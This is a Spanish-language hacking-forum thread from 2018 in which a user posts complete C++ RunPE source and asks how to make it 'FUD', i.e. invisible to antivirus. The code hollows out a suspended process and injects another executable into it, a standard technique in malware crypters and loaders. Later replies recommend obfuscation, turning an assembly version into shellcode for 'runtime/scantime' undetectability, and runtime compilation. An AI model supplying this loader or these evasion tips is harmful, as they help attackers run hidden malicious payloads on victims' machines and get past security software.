Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: Z3R0N3 en Julio 11, 2018, 04:57:41 AM

Título: RunPE FUD?¿
Publicado por: Z3R0N3 en Julio 11, 2018, 04:57:41 AM
Hola!
Tengo un RunPE genérico (lo pongo más abajo), ¿se os ocurren formas de hacerlo FUD u otra alternativa para lograr lo mismo, por ejemplo trabajando con los fork y pid etc...?
Gracias!


/* RunPE */
typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
class runPE{
    public:
        void run(LPSTR szFilePath, PVOID pFile)
        {
              PIMAGE_DOS_HEADER IDH;
            PIMAGE_NT_HEADERS INH;
            PIMAGE_SECTION_HEADER ISH;
            PROCESS_INFORMATION PI;
            STARTUPINFOA SI;
            PCONTEXT CTX;
            PDWORD dwImageBase;
            NtUnmapViewOfSection xNtUnmapViewOfSection;
            LPVOID pImageBase;
            int Count;
            IDH = PIMAGE_DOS_HEADER(pFile);
            if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
            {
                INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
                if (INH->Signature == IMAGE_NT_SIGNATURE)
                {
                    RtlZeroMemory(&SI, sizeof(SI));
                    RtlZeroMemory(&PI, sizeof(PI));
                    if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
                    {
                        CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
                        CTX->ContextFlags = CONTEXT_FULL;
                        if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
                        {
                            ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
                            if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
                            {
                                xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                                xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
                            }
                            pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                            if (pImageBase)
                            {
                                WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                                for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                                {
                                    ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                                }
                                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
                                CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                                SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                                ResumeThread(PI.hThread);
                            }
                        }
                    }
                }
            }
            VirtualFree(pFile, 0, MEM_RELEASE);
        }
};
/* end RunPe */


Título: Re:RunPE FUD?¿
Publicado por: 79137913 en Julio 11, 2018, 08:54:20 AM
HOLA!!!

Los RunPE suelen ser todos bastante parecidos, la forma de hacerlos FUD es usualmente ofuscacion de codigo y modding, la realidad es que no hay muchas maneras distintas de hacer un RunPe, usualmente lo mas comun es que se usen otros metodos para ejecutar programas.

GRACIAS POR LEER!!!
Título: Re:RunPE FUD?¿
Publicado por: Z3R0N3 en Julio 12, 2018, 04:09:29 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
HOLA!!!

Los RunPE suelen ser todos bastante parecidos, la forma de hacerlos FUD es usualmente ofuscacion de codigo y modding, la realidad es que no hay muchas maneras distintas de hacer un RunPe, usualmente lo mas comun es que se usen otros metodos para ejecutar programas.

GRACIAS POR LEER!!!

Ok, lo entiendo.

Me parece interesante tu respuesta en especial lo que comentas de otros métodos para ejecutar programas porque abre mucho el hilo. Supongo que te refieres a métodos para ejecutar lo que esté en memoria, ¿verdad? cifrar y descifrar a demanda... etc. Quizás me he ido por las ramas, ¿voy bien?, sería interesante conocer acerca de esto.

Gracias!
Título: Re:RunPE FUD?¿
Publicado por: ragaza en Julio 12, 2018, 08:44:08 AM
Runpe fud usa uno hechoen asm lo pasas a shellcode lo limpias y sera fud 100% runtime/scantime forever.
Título: Re:RunPE FUD?¿
Publicado por: 79137913 en Julio 12, 2018, 10:58:51 AM
HOLA!!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ok, lo entiendo.

Me parece interesante tu respuesta en especial lo que comentas de otros métodos para ejecutar programas porque abre mucho el hilo. Supongo que te refieres a métodos para ejecutar lo que esté en memoria, ¿verdad? cifrar y descifrar a demanda... etc. Quizás me he ido por las ramas, ¿voy bien?, sería interesante conocer acerca de esto.

Gracias!

Para mi la mejor manera de ejecutar cosas es con compilacion en runtime. (ejecutar codigo on the fly)

GRACIAS POR LEER!!!
Título: Re:RunPE FUD?¿
Publicado por: Z3R0N3 en Julio 13, 2018, 04:07:32 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Runpe fud usa uno hechoen asm lo pasas a shellcode lo limpias y sera fud 100% runtime/scantime forever.

Umm.. creo que entiendo a lo que te refieres.. pero así solo quedaría scantime, ¿no?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
HOLA!!!

Para mi la mejor manera de ejecutar cosas es con compilacion en runtime. (ejecutar codigo on the fly)

GRACIAS POR LEER!!!

Me gusta, ¿cómo funciona?, si se puede saber... :D
Título: Re:RunPE FUD?¿
Publicado por: 79137913 en Julio 13, 2018, 08:28:44 AM
HOLA!!!

Mira este post:

https://underc0de.org/foro/dudas-generales-121/compilar-desde-compilado/?topicseen

GRACIAS POR LEER!!!
Título: Re:RunPE FUD?¿
Publicado por: Z3R0N3 en Julio 13, 2018, 09:02:24 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
HOLA!!!

Mira este post:

https://underc0de.org/foro/dudas-generales-121/compilar-desde-compilado/?topicseen (https://underc0de.org/foro/dudas-generales-121/compilar-desde-compilado/?topicseen)

GRACIAS POR LEER!!!

¡Gracias por el aporte!